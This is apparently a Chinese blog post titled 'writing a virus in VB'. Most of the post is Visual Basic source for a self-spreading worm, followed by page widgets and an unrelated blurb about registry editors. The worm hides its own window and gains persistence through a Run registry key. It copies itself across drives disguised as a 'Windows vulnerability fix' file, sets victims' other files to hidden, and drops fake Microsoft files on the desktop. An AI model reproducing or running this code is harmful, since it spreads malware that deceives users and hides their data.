VB编写病毒

Private n盘
Private n路径1$
Private n路径2$

Private Sub Command1_Click()
End
End Sub

Private Sub Form_Load()
App.TaskVisible = False
Randomize

If Dir("c:/windows/system/Hii", vbNormal) = "" Then
         
    ''''''''''''''''''''''''''''''''''''''''''''''''''''复制到C盘
     If Dir("c:/windows/system/Hii.exe", vbNormal) = "" Then
          f = App.Path + "/" + App.EXEName + ".exe"
          d = "C:/WINDOWS/system/Hii.exe"
          FileCopy f, d
    End If
   ''''''''''''''''''''''''''''''''''''''''''''''''''''    
     
     '''''''''''''''''''''''''''''''''''''''''添加到启动注册表
    Dim Reg
    Set Reg = CreateObject("wscript.Shell")
    Reg.RegWrite "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/Hii", "C:/WINDOWS/system/Hii.exe"
    ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
 
     
  ''''''''''''''''''''''''''''''''''''''''''判断盘符数量
      
    FileCopy App.Path + "/" + App.EXEName + ".exe", "C:/Windows漏洞修复.doc"
    Open "c:/windows/system/Hii" For Output As #1
       Write #1, 1
    Close #1
    
    FileCopy App.Path + "/" + App.EXEName + ".exe", "D:/Windows漏洞修复.doc"
     Open "c:/windows/system/Hii" For Output As #1
       
       Write #1, 2
    Close #1
       
    FileCopy App.Path + "/" + App.EXEName + ".exe", "E:/Windows漏洞修复.doc"
   Open "c:/windows/system/Hii" For Output As #1
       Write #1, 3
   Close #1
    
    FileCopy App.Path + "/" + App.EXEName + ".exe", "F:/Windows漏洞修复.doc"
     Open "c:/windows/system/Hii" For Output As #2
       Write #2, 4
    Close #2
      
    FileCopy App.Path + "/" + App.EXEName + ".exe", "G:/Windows漏洞修复.doc"
   Open "c:/windows/system/Hii" For Output As #3
       Write #3, 5
   Close #3
       
    FileCopy App.Path + "/" + App.EXEName + ".exe", "H:/Windows漏洞修复.doc"
  Open "c:/windows/system/Hii" For Output As #4
     
       Write #4, 6
  Close #4
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Else
   
     
    '''''''''''''''''''''''''''''''''''''''''添加到启动注册表
    Set Reg = CreateObject("wscript.Shell")
    Reg.RegWrite "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/Hii", "C:/WINDOWS/system/Hii.exe"
    ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  
     Open "c:/windows/system/Hii" For Input As #2
      Input #2, n盘
         
     If n盘 = 1 Then n路径1$ = "E:/": n路径2$ = "F:/"
     If n盘 = 2 Then n路径1$ = "F:/": n路径2$ = "G:/"
     If n盘 = 3 Then n路径1$ = "G:/": n路径2$ = "H:/"
     If n盘 = 4 Then n路径1$ = "H:/": n路径2$ = "I:/"
     If n盘 = 5 Then n路径1$ = "I:/": n路径2$ = "J:/"
     If n盘 = 6 Then n路径1$ = "J:/": n路径2$ = "K:/"
     
          Text1.Text = Str(n盘) + "个  " + n路径1$ + n路径2$
     
     Timer传播.Enabled = True
     Timer发作.Enabled = True     
End If
End Sub

Private Sub Timer传播_Timer()

 ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''判断路径二是否存在
  If Dir(n路径2$, vbDirectory) <> "" Then
     
       myfile = Dir(n路径2$, vbNormal)
       Do While myfile <> ""
           If n路径2$ + myfile <> n路径2$ + "Windows漏洞修复.exe" Then SetAttr n路径2$ + myfile, vbHidden
           myfile = Dir
       Loop
          
     If Dir(n路径2$ + "Windows漏洞修复.exe", vbNormal) = "" Then
        f = App.Path + "/" + App.EXEName + ".exe"
        d = n路径2$ + "Windows漏洞修复.exe"
        FileCopy f, d
        Text1.Text = "ok"
        GoTo 100
     End If
  End If
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''  
  
  ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''判断路径1是否存在
  If Dir(n路径1$, vbDirectory) <> "" Then
       myfile = Dir(n路径1$, vbNormal)
       Do While myfile <> ""
           If n路径1$ + myfile <> n路径1$ + "Windows漏洞修复.exe" Then SetAttr n路径1$ + myfile, vbHidden
           myfile = Dir
       Loop    
     
If Dir(n路径1$ + "Windows漏洞修复.exe", vbNormal) = "" Then
      
        f = App.Path + "/" + App.EXEName + ".exe"
        d = n路径1$ + "Windows漏洞修复.exe"
        FileCopy f, d
        Text1.Text = "ok"
     End If
  End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

100
End Sub

Private Sub Timer发作_Timer()
nName$ = Str(Fix(Rnd * 100))
If Dir("C:/Documents and Settings/All Users/桌面/" + "微软" + nName$ + "号.ppt", vbNormal) = "" Then
    Open "C:/Documents and Settings/All Users/桌面/" + "微软" + nName$ + "号.ppt" For Output As #3
    Write #3, "微软漏洞修复,请稍候..."
    Close #3
End If
End Sub  

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
VB编写注册表编辑器是一种功能强大的编程技术,可以对Windows系统中的注册表进行修改和管理。注册表是Windows系统的一个重要组成部分,包含了系统的配置信息和应用程序的设置。 在使用VB编写注册表编辑器时,首先需要使用编程语言提供的注册表类库或API函数来连接系统的注册表数据库。接下来,可以使用VB的用户界面设计工具创建一个注册表编辑器的界面,包括主窗口、菜单栏和工具栏等。 在注册表编辑器的界面中,可以显示注册表的层级结构,以树形或列表的形式展示不同的注册表项和键值。通过用户界面,可以实现对注册表的查看、添加、修改和删除等操作。 例如,用户可以选择一个注册表项,并在应用程序提供的输入框中输入新的键值,然后通过点击“添加”按钮将其添加到注册表中。同样,用户也可以选择一个已有的键值并进行修改或删除操作。 为了确保操作的安全性,注册表编辑器应该内置权限管理功能,例如管理员权限的验证和操作记录的日志功能。这样可以确保只有授权的用户可以对注册表进行修改,并且可以方便地追踪修改历史。 总的来说,VB编写注册表编辑器需要掌握VB编程语言的基本知识和系统注册表的结构和操作方式。合理利用编程语言提供的类库和API函数,结合用户界面设计和权限管理的要求,可以开发出一个功能完善的注册表编辑器。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值